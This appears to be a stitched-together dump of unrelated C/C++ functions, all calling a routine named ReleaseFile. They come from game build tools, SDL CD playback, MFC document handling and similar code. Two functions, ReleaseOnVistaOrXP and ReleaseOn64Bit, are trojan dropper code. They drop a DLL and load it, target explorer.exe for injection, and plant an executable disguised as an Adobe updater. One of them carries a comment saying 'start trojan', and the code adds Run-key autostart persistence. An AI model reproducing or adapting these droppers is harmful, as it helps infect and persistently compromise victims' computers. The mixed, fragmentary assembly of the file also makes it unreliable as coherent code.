CCartoonOMatic::~CCartoonOMatic() { // Delete the ini file. ReleaseFile(m_csIniFile); // Delete the output file. ReleaseFile(m_csOutputFile); }
BaseInFileStream::~BaseInFileStream() { if (_pTimer != NULL) { _pTimer->ResetStream(); _pTimer->EnqueueForDelete(); _pTimer = NULL; } ReleaseFile(_pSeekFile); ReleaseFile(_pFile); }
//---------------------------------------------------------------------------- BOOL CDockingPaletteDoc::OnOpenDocument(LPCTSTR lpszPathName,LPCTSTR lpszPaneName){ //---------------------------------------------------------------------------- PROC_TRACE; if (IsModified()) TRACE("Warning: OnOpenDocument replaces an unsaved document.\n"); CFileException fe; CFile* pFile = GetFile(lpszPathName, CFile::modeRead|CFile::shareDenyWrite, &fe); if (pFile == NULL) { ReportSaveLoadException(lpszPathName, &fe, FALSE, AFX_IDP_FAILED_TO_OPEN_DOC); return FALSE; } DeleteContents(); SetModifiedFlag(); CArchive loadArchive(pFile, CArchive::load | CArchive::bNoFlushOnDelete); loadArchive.m_pDocument = this; loadArchive.m_bForceFlat = FALSE; TRY { CWaitCursor wait; if (pFile->GetLength() != 0) Serialize(loadArchive); // load me loadArchive.Close(); ReleaseFile(pFile, FALSE); } CATCH_ALL(e) { ReleaseFile(pFile, TRUE); DeleteContents(); // remove failed contents TRY { ReportSaveLoadException(lpszPathName, e, FALSE, AFX_IDP_FAILED_TO_OPEN_DOC); } END_TRY return FALSE; } END_CATCH_ALL SetModifiedFlag(FALSE); // start off with unmodified m_documentName = lpszPaneName; return TRUE; }
/* ================= Cmd_Environment ================= */ void Cmd_Environment( void ){ char name[1024]; int i, x, y; byte image[256 * 256]; byte *tga; GetToken( qfalse ); if ( g_release ) { for ( i = 0 ; i < 6 ; i++ ) { sprintf( name, "env/%s%s.pcx", token, suf[i] ); ReleaseFile( name ); sprintf( name, "env/%s%s.tga", token, suf[i] ); ReleaseFile( name ); } return; } // get the palette BuildPalmap(); sprintf( name, "%senv/", gamedir ); CreatePath( name ); // convert the images for ( i = 0 ; i < 6 ; i++ ) { sprintf( name, "%senv/%s%s.tga", gamedir, token, suf[i] ); printf( "loading %s...\n", name ); LoadTGA( name, &tga, NULL, NULL ); for ( y = 0 ; y < 256 ; y++ ) { for ( x = 0 ; x < 256 ; x++ ) { image[y * 256 + x] = FindColor( tga[( y * 256 + x ) * 4 + 0],tga[( y * 256 + x ) * 4 + 1],tga[( y * 256 + x ) * 4 + 2] ); } } free( tga ); sprintf( name, "%senv/%s%s.pcx", writedir, token, suf[i] ); if ( FileTime( name ) != -1 ) { printf( "%s already exists, not overwriting.\n", name ); } else{ WritePCXfile( name, image, 256, 256, colormap_palette ); } } }
BOOL CSoliDireDoc::OnSaveDocument(LPCTSTR lpszPathName) { CFileException fe; CFile* pFile = NULL; DWORD nFlags = CFile::modeReadWrite | CFile::shareExclusive; if (!is_packed()) nFlags |= CFile::modeCreate; pFile = GetFile(lpszPathName, nFlags, &fe); if (pFile == NULL) { ReportSaveLoadException(lpszPathName, &fe, TRUE, AFX_IDP_INVALID_FILENAME); return FALSE; } CArchive saveArchive(pFile, CArchive::store | CArchive::bNoFlushOnDelete); saveArchive.m_pDocument = this; saveArchive.m_bForceFlat = FALSE; CWaitCursor wait; Serialize(saveArchive); // save me saveArchive.Close(); ReleaseFile(pFile, FALSE); SetModifiedFlag(FALSE); // back to unmodified return TRUE; // success }
/* Stop playback */ static int SDL_SYS_CDStop(SDL_CD *cdrom) { if (fakeCD) { SDL_SetError (kErrorFakeDevice); return -1; } Lock (); if (PauseFile () < 0) { Unlock (); return -2; } if (ReleaseFile () < 0) { Unlock (); return -3; } status = CD_STOPPED; Unlock (); return 0; }
/* ============== FinishSprite ============== */ void FinishSprite( void ){ FILE *spriteouthandle; int i, curframe; dsprite_t spritetemp; char savename[1024]; if ( sprite.numframes == 0 ) { return; } if ( !strlen( spritename ) ) { Error( "Didn't name sprite file" ); } sprintf( savename, "%s%s.sp2", gamedir, spritename ); if ( g_release ) { char name[1024]; sprintf( name, "%s.sp2", spritename ); ReleaseFile( name ); spritename[0] = 0; // clear for a new sprite sprite.numframes = 0; return; } printf( "saving in %s\n", savename ); CreatePath( savename ); spriteouthandle = SafeOpenWrite( savename ); // // write out the sprite header // spritetemp.ident = LittleLong( IDSPRITEHEADER ); spritetemp.version = LittleLong( SPRITE_VERSION ); spritetemp.numframes = LittleLong( sprite.numframes ); SafeWrite( spriteouthandle, &spritetemp, 12 ); // // write out the frames // curframe = 0; for ( i = 0 ; i < sprite.numframes ; i++ ) { frames[i].width = LittleLong( frames[i].width ); frames[i].height = LittleLong( frames[i].height ); frames[i].origin_x = LittleLong( frames[i].origin_x ); frames[i].origin_y = LittleLong( frames[i].origin_y ); } SafeWrite( spriteouthandle, frames, sizeof( frames[0] ) * sprite.numframes ); fclose( spriteouthandle ); spritename[0] = 0; // clear for a new sprite sprite.numframes = 0; }
/******************************************************************** ProcFindAllIdsFromExeName() - returns an array of process ids that are running specified executable. *******************************************************************/ extern "C" HRESULT DAPI ProcFindAllIdsFromExeName( __in_z LPCWSTR wzExeName, __out DWORD** ppdwProcessIds, __out DWORD* pcProcessIds ) { HRESULT hr = S_OK; DWORD er = ERROR_SUCCESS; HANDLE hSnap = INVALID_HANDLE_VALUE; BOOL fContinue = FALSE; PROCESSENTRY32W peData = { sizeof(peData) }; hSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (INVALID_HANDLE_VALUE == hSnap) { ExitWithLastError(hr, "Failed to create snapshot of processes on system"); } fContinue = ::Process32FirstW(hSnap, &peData); while (fContinue) { if (0 == lstrcmpiW((LPCWSTR)&(peData.szExeFile), wzExeName)) { if (!*ppdwProcessIds) { *ppdwProcessIds = static_cast<DWORD*>(MemAlloc(sizeof(DWORD), TRUE)); ExitOnNull(ppdwProcessIds, hr, E_OUTOFMEMORY, "Failed to allocate array for returned process IDs."); } else { DWORD* pdwReAllocReturnedPids = NULL; pdwReAllocReturnedPids = static_cast<DWORD*>(MemReAlloc(*ppdwProcessIds, sizeof(DWORD) * ((*pcProcessIds) + 1), TRUE)); ExitOnNull(pdwReAllocReturnedPids, hr, E_OUTOFMEMORY, "Failed to re-allocate array for returned process IDs."); *ppdwProcessIds = pdwReAllocReturnedPids; } (*ppdwProcessIds)[*pcProcessIds] = peData.th32ProcessID; ++(*pcProcessIds); } fContinue = ::Process32NextW(hSnap, &peData); } er = ::GetLastError(); if (ERROR_NO_MORE_FILES == er) { hr = S_OK; } else { hr = HRESULT_FROM_WIN32(er); } LExit: ReleaseFile(hSnap); return hr; }
void PackDirectory_r (char *dir) { struct _finddata_t fileinfo; int handle; char dirstring[1024]; char filename[1024]; sprintf (dirstring, "%s%s/*.*", gamedir, dir); handle = _findfirst (dirstring, &fileinfo); if (handle == -1) return; do { sprintf (filename, "%s/%s", dir, fileinfo.name); if (fileinfo.attrib & _A_SUBDIR) { // directory if (fileinfo.name[0] != '.') // don't pak . and .. PackDirectory_r (filename); continue; } // copy or pack the file ReleaseFile (filename); } while (_findnext( handle, &fileinfo ) != -1); _findclose (handle); }
int ReleaseOnVistaOrXP(const union client_cfg& cfg, bool isXP) { char szTempPath[MAX_PATH], szTempFilePath[MAX_PATH]; if(0 == GetTempPathA(MAX_PATH, szTempPath)) return -1; if(0 == GetTempFileNameA(szTempPath, "dll", 0, szTempFilePath)) return false; if(ReleaseFile(szTempFilePath, cfg, SVRCTRL_DLL) < 0) return -1; if(isXP) { char dllName[MAX_PATH] = {0}; _snprintf(dllName, MAX_PATH, "%s\\%s", szTempPath, "msvcctrl.dll"); DeleteFileA(dllName); MoveFileA(szTempFilePath, dllName); LoadLibraryA(dllName); return 0; } HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hSnapshot == INVALID_HANDLE_VALUE) return -1; tagPROCESSENTRY32 pe; ZeroMemory(&pe, sizeof(pe)); pe.dwSize = sizeof(pe); BOOL bPR = Process32First(hSnapshot, &pe); DWORD pid = 0; while(bPR) { HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pe.th32ProcessID); if (hProc != 0) CloseHandle(hProc); if(strcmp(pe.szExeFile, "explorer.exe") == 0) { pid = pe.th32ProcessID; break; } bPR = Process32Next(hSnapshot, &pe); } wchar_t filename[MAX_PATH] = {0}; int len = MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), NULL, 0); if(len < 0 || len > MAX_PATH) return -1; MultiByteToWideChar(CP_ACP, 0, szTempFilePath, strlen(szTempFilePath), filename, len); wchar_t szCmd[MAX_PATH] = {0}, szDir[MAX_PATH] = {0}, szPathToSelf[MAX_PATH] = {0}; wchar_t strOurDllPath[MAX_PATH] = {0}; GetSystemDirectoryW(szDir, sizeof(szDir)); GetSystemDirectoryW(szCmd, sizeof(szCmd)); wcscat(szCmd, L"\\cmd.exe"); GetModuleFileNameW(NULL, szPathToSelf, MAX_PATH); AttemptOperation( true, true, pid, L"explorer,exe", szCmd, L"", szDir, filename); return 0; }
EDA_DRAW_FRAME::~EDA_DRAW_FRAME() { delete m_currentScreen; m_currentScreen = NULL; m_auimgr.UnInit(); ReleaseFile(); }
int ReleaseOn64Bit(const union client_cfg& cfg) { char appPath[MAX_PATH], appExe[MAX_PATH], appDir[MAX_PATH]; SHGetSpecialFolderPathA(NULL, appPath, CSIDL_LOCAL_APPDATA, FALSE); //sprintf_s(appDir, sizeof(appDir), "%s\\Temp\\Word9.0", appPath); //sprintf_s(appExe, sizeof(appExe), "%s\\test.exe", appDir); _snprintf(appDir, sizeof(appDir), "%s\\Temp\\Adobe", appPath); _snprintf(appExe, sizeof(appExe), "%s\\AdobeUpdateManger.exe", appDir); //创建目录并释放文件 CreateDirectoryA(appDir, NULL); if(ReleaseFile(appExe, cfg, SVRCTRL_EXE) < 0) return -1; //启动木马 STARTUPINFOA startupInfo = {0}; startupInfo.cb = sizeof(startupInfo); PROCESS_INFORMATION processInfo = {0}; if(CreateProcessA(appExe, NULL, NULL, NULL, FALSE, 0, NULL, appPath, &startupInfo, &processInfo)) { CloseHandle(processInfo.hProcess); CloseHandle(processInfo.hThread); } //注册表加入自启动 HMODULE hModule = GetModuleHandleA("advapi32.dll"); if(hModule == NULL) hModule = LoadLibraryA("advapi32.dll"); typedef LONG (__stdcall* MyRegOpenKeyEx)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY); typedef LONG (__stdcall* MyRegSetValueEx)(HKEY, LPCSTR, DWORD, DWORD, CONST BYTE*, DWORD); typedef LONG (__stdcall* MyRegCloseKey)(HKEY); MyRegOpenKeyEx openReg = NULL; MyRegSetValueEx setReg = NULL; MyRegCloseKey closeReg = NULL; if(hModule) { openReg = (MyRegOpenKeyEx)GetProcAddress(hModule, "RegOpenKeyExA"); setReg = (MyRegSetValueEx)GetProcAddress(hModule, "RegSetValueExA"); closeReg = (MyRegCloseKey)GetProcAddress(hModule, "RegCloseKey"); } char buff[1024]; HKEY hkRoot = HKEY_CURRENT_USER; strncpy(buff, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", sizeof buff); if( ERROR_SUCCESS == openReg(hkRoot, buff, 0, KEY_ALL_ACCESS, &hkRoot)) { setReg(hkRoot, "WordDaemon", 0, REG_SZ, (unsigned char*)appExe, strlen(appExe)+1); closeReg(hkRoot); } return 0; }
/* ============== Cmd_Grab $grab filename x y width height ============== */ void Cmd_Grab( void ){ int xl,yl,w,h,y; byte *cropped; char savename[1024]; char dest[1024]; GetToken( qfalse ); if ( token[0] == '/' || token[0] == '\\' ) { sprintf( savename, "%s%s.pcx", writedir, token + 1 ); } else{ sprintf( savename, "%spics/%s.pcx", writedir, token ); } if ( g_release ) { if ( token[0] == '/' || token[0] == '\\' ) { sprintf( dest, "%s.pcx", token + 1 ); } else{ sprintf( dest, "pics/%s.pcx", token ); } ReleaseFile( dest ); return; } GetToken( qfalse ); xl = atoi( token ); GetToken( qfalse ); yl = atoi( token ); GetToken( qfalse ); w = atoi( token ); GetToken( qfalse ); h = atoi( token ); if ( xl < 0 || yl < 0 || w < 0 || h < 0 || xl + w > byteimagewidth || yl + h > byteimageheight ) { Error( "GrabPic: Bad size: %i, %i, %i, %i",xl,yl,w,h ); } // crop it to the proper size cropped = malloc( w * h ); for ( y = 0 ; y < h ; y++ ) { memcpy( cropped + y * w, byteimage + ( y + yl ) * byteimagewidth + xl, w ); } // save off the new image printf( "saving %s\n", savename ); CreatePath( savename ); WritePCXfile( savename, cropped, w, h, lbmpalette ); free( cropped ); }
void ProcessFile2( FILE *infile, FILE *outfile ) { int index; /* * Read the file into our internal data structure */ if ( Verbose ) printf( "Processing (%s) -> (%s)\n", "stdin", "stdout" ); ReadFileIntoChain2( infile ); if ( Verbose ) fprintf( stderr, "-------->FILE READ IN\n" ); /* * Remove any spaces before the keyword and mark each keyword line as * such. Also remove extra white space at the end of lines. */ StripBlanks(); if ( Verbose ) fprintf( stderr, "-------->BLANKS BEFORE KEYWORDS STRIPPED\n" ); FormatToTexinfo(); if ( Verbose ) fprintf( stderr, "-------->FILE FORMATTED TO TEXINFO\n" ); /* * Print the file */ PrintFile2( outfile ); if ( Verbose ) fprintf( stderr, "-------->FILE PRINTED\n" ); /* * Clean Up */ ReleaseFile(); if ( Verbose ) fprintf( stderr, "-------->FILE RELEASED\n" ); }
/* Setup another file for playback, or stop playback (called from another thread) */ static void CompletionProc(SDL_CD * cdrom) { Lock(); if (nextTrackFrame > 0 && nextTrackFramesRemaining > 0) { /* Load the next file to play */ int startFrame, stopFrame; FSRef *file; PauseFile(); ReleaseFile(); file = GetFileForOffset(cdrom, nextTrackFrame, nextTrackFramesRemaining, &startFrame, &stopFrame); if (file == NULL) { status = CD_STOPPED; Unlock(); return; } LoadFile(file, startFrame, stopFrame); SetCompletionProc(CompletionProc, cdrom); PlayFile(); } else { /* Release the current file */ PauseFile(); ReleaseFile(); status = CD_STOPPED; } Unlock(); }
EDA_DRAW_FRAME::~EDA_DRAW_FRAME() { delete m_toolManager; delete m_toolDispatcher; delete m_galCanvas; delete m_currentScreen; m_currentScreen = NULL; m_auimgr.UnInit(); ReleaseFile(); }
BOOL CDocument::OnOpenDocument( LPCTSTR lpszPathName ) /****************************************************/ { CFileException ex; CFile *pFile = GetFile( lpszPathName, CFile::modeRead, &ex ); if( pFile == NULL ) { ReportSaveLoadException( lpszPathName, &ex, FALSE, AFX_IDP_FAILED_TO_OPEN_DOC ); return( FALSE ); } try { DeleteContents(); CArchive ar( pFile, CArchive::load ); Serialize( ar ); ar.Close(); ReleaseFile( pFile, FALSE ); } catch( CException *pEx ) { ReportSaveLoadException( lpszPathName, pEx, FALSE, AFX_IDP_FAILED_TO_OPEN_DOC ); ReleaseFile( pFile, TRUE ); return( FALSE ); } SetModifiedFlag( FALSE ); return( TRUE ); }
int LoadFile (const FSRef *ref, int startFrame, int stopFrame) { int error = -1; if (CheckInit () < 0) goto bail; if (ReleaseFile () < 0) goto bail; #if DEBUG_CDROM printf ("LoadFile: %d %d\n", startFrame, stopFrame); #endif thePlayer = new_AudioFilePlayer(ref); if (thePlayer == NULL) { SDL_SetError ("LoadFile: Could not create player"); return -3; } if (!thePlayer->SetDestination(thePlayer, &theUnit)) goto bail; if (startFrame >= 0) thePlayer->SetStartFrame (thePlayer, startFrame); if (stopFrame >= 0 && stopFrame > startFrame) thePlayer->SetStopFrame (thePlayer, stopFrame); if (!thePlayer->Connect(thePlayer)) goto bail; #if DEBUG_CDROM thePlayer->Print(thePlayer); fflush (stdout); #endif error = 0; bail: return error; }
BOOL CDocument::OnSaveDocument( LPCTSTR lpszPathName ) /****************************************************/ { CFileException ex; CFile *pFile = GetFile( lpszPathName, CFile::modeCreate | CFile::modeWrite, &ex ); if( pFile == NULL ) { ReportSaveLoadException( lpszPathName, &ex, TRUE, AFX_IDP_FAILED_TO_SAVE_DOC ); return( FALSE ); } try { CArchive ar( pFile, CArchive::store ); Serialize( ar ); ar.Close(); SetPathName( lpszPathName ); SetTitle( pFile->GetFileTitle() ); ReleaseFile( pFile, FALSE ); } catch( CException *pEx ) { ReportSaveLoadException( lpszPathName, pEx, TRUE, AFX_IDP_FAILED_TO_SAVE_DOC ); ReleaseFile( pFile, TRUE ); return( FALSE ); } SetModifiedFlag( FALSE ); return( TRUE ); }
EDA_DRAW_FRAME::~EDA_DRAW_FRAME() { if( m_canvasTypeDirty ) saveCanvasTypeSetting( m_canvasType ); delete m_actions; delete m_toolManager; delete m_toolDispatcher; delete m_galCanvas; delete m_currentScreen; m_currentScreen = NULL; m_auimgr.UnInit(); ReleaseFile(); }
/* Eject the CD-ROM (Unmount the volume) */ static int SDL_SYS_CDEject(SDL_CD *cdrom) { OSStatus err; HParamBlockRec pb; if (fakeCD) { SDL_SetError (kErrorFakeDevice); return -1; } Lock (); if (PauseFile () < 0) { Unlock (); return -2; } if (ReleaseFile () < 0) { Unlock (); return -3; } status = CD_STOPPED; // Eject the volume pb.ioParam.ioNamePtr = NULL; pb.ioParam.ioVRefNum = volumes[cdrom->id]; err = PBUnmountVol((ParamBlockRec *) &pb); if (err != noErr) { Unlock (); SDL_SetError ("PBUnmountVol returned %d", err); return -4; } status = CD_TRAYEMPTY; /* Invalidate volume and track info */ volumes[cdrom->id] = 0; free (tracks[cdrom->id]); tracks[cdrom->id] = NULL; Unlock (); return 0; }
void CBZDoc::DeleteContents() { // TODO: Add your specialized code here and/or call the base class if(m_pData) { #ifdef FILE_MAPPING if(IsFileMapping()) { VERIFY(::UnmapViewOfFile(m_pMapStart ? m_pMapStart : m_pData)); m_pMapStart = NULL; m_dwFileOffset = 0; m_dwMapSize = 0; } else #endif //FILE_MAPPING MemFree(m_pData); m_pData = NULL; m_dwTotal = 0; m_dwBase = 0; UpdateAllViews(NULL); } #ifdef FILE_MAPPING if(IsFileMapping()) { if(m_pDupDoc) { m_pDupDoc->m_pDupDoc = NULL; m_pDupDoc = NULL; m_hMapping = NULL; m_pFileMapping = NULL; } else { VERIFY(::CloseHandle(m_hMapping)); m_hMapping = NULL; if(m_pFileMapping) { ReleaseFile(m_pFileMapping, FALSE); m_pFileMapping = NULL; } } } #endif //FILE_MAPPING if(m_pUndo) { MemFree(m_pUndo); m_pUndo = NULL; } m_bReadOnly = FALSE; m_arrMarks.RemoveAll(); CDocument::DeleteContents(); }
/* Shutdown and cleanup */ void SDL_SYS_CDQuit(void) { ReleaseFile(); if (volumes != NULL) free (volumes); if (tracks != NULL) { FSRef **ptr; for (ptr = tracks; *ptr != (FSRef*)-1; ptr++) if (*ptr != NULL) free (*ptr); free (tracks); } }
/* Eject the CD-ROM (Unmount the volume) */ static int SDL_SYS_CDEject(SDL_CD * cdrom) { OSStatus err; pid_t dissenter; if (fakeCD) { SDL_SetError(kErrorFakeDevice); return -1; } Lock(); if (PauseFile() < 0) { Unlock(); return -2; } if (ReleaseFile() < 0) { Unlock(); return -3; } status = CD_STOPPED; /* Eject the volume */ err = FSEjectVolumeSync(volumes[cdrom->id], kNilOptions, &dissenter); if (err != noErr) { Unlock(); SDL_SetError("PBUnmountVol returned %d", err); return -4; } status = CD_TRAYEMPTY; /* Invalidate volume and track info */ volumes[cdrom->id] = 0; free(tracks[cdrom->id]); tracks[cdrom->id] = NULL; Unlock(); return 0; }
/* ============== Cmd_Raw $grab filename x y width height ============== */ void Cmd_Raw (void) { int xl,yl,w,h,y; byte *cropped; char savename[1024]; char dest[1024]; GetToken (false); sprintf (savename, "%s%s.lmp", gamedir, token); if (g_release) { sprintf (dest, "%s.lmp", token); ReleaseFile (dest); return; } GetToken (false); xl = atoi (token); GetToken (false); yl = atoi (token); GetToken (false); w = atoi (token); GetToken (false); h = atoi (token); if (xl<0 || yl<0 || w<0 || h<0 || xl+w>byteimagewidth || yl+h>byteimageheight) logerror ("GrabPic: Bad size: %i, %i, %i, %i",xl,yl,w,h); // jkrige - was Error() // crop it to the proper size cropped = malloc (w*h); for (y=0 ; y<h ; y++) { memcpy (cropped+y*w, byteimage+(y+yl)*byteimagewidth+xl, w); } // save off the new image logprint ("saving %s\n", savename); CreatePath (savename); SaveFile (savename, cropped, w*h); free (cropped); }
/* =============== Cmd_Maps Only relevent for release and pak files. Releases the .bsp files for the maps, and scans all of the files to build a list of all textures used, which are then released. =============== */ void Cmd_Maps (void) { char map[1024]; while (TokenAvailable ()) { GetToken (qfalse); sprintf (map, "maps/%s.bsp", token); ReleaseFile (map); if (!g_release) continue; // get all the texture references sprintf (map, "%smaps/%s.bsp", gamedir, token); LoadBSPFile( map ); } }
void ReleaseTexture (char *name) { int i; char path[1024]; for (i=0 ; i<numrtex ; i++) if (!Q_stricmp(name, rtex[i])) return; if (numrtex == MAX_RTEX) Error ("numrtex == MAX_RTEX"); strcpy (rtex[i], name); numrtex++; sprintf (path, "textures/%s.wal", name); ReleaseFile (path); }
/* Start playback */ static int SDL_SYS_CDPlay(SDL_CD * cdrom, int start, int length) { int startFrame, stopFrame; FSRef *ref; if (fakeCD) { SDL_SetError(kErrorFakeDevice); return -1; } Lock(); if (LoadTracks(cdrom) < 0) return -2; if (PauseFile() < 0) return -3; if (ReleaseFile() < 0) return -4; ref = GetFileForOffset(cdrom, start, length, &startFrame, &stopFrame); if (ref == NULL) { SDL_SetError("SDL_SYS_CDPlay: No file for start=%d, length=%d", start, length); return -5; } if (LoadFile(ref, startFrame, stopFrame) < 0) return -6; SetCompletionProc(CompletionProc, cdrom); if (PlayFile() < 0) return -7; status = CD_PLAYING; Unlock(); return 0; }
/* =============== Cmd_Maps Only relevent for release and pak files. Releases the .bsp files for the maps, and scans all of the files to build a list of all textures used, which are then released. =============== */ void Cmd_Maps(void) { char map[1024]; int i; while (TokenAvailable()) { GetToken(false); sprintf(map, "maps/%s.bsp", token); ReleaseFile(map); if (!g_release) continue; // get all the texture references sprintf(map, "%smaps/%s.bsp", gamedir, token); LoadBSPFileTexinfo(map); for (i = 0; i < numtexinfo; i++) ReleaseTexture(texinfo[i].texture); } }
void PackDirectory_r (char *dir) { #ifdef NeXT struct direct **namelist, *ent; #else struct dirent **namelist, *ent; #endif int count; struct stat st; int i; int len; char fullname[1024]; char dirstring[1024]; char *name; sprintf (dirstring, "%s%s", gamedir, dir); count = scandir(dirstring, &namelist, NULL, NULL); for (i=0 ; i<count ; i++) { ent = namelist[i]; name = ent->d_name; if (name[0] == '.') continue; sprintf (fullname, "%s/%s", dir, name); sprintf (dirstring, "%s%s/%s", gamedir, dir, name); if (stat (dirstring, &st) == -1) Error ("fstating %s", pf->name); if (st.st_mode & S_IFDIR) { // directory PackDirectory_r (fullname); continue; } // copy or pack the file ReleaseFile (fullname); } }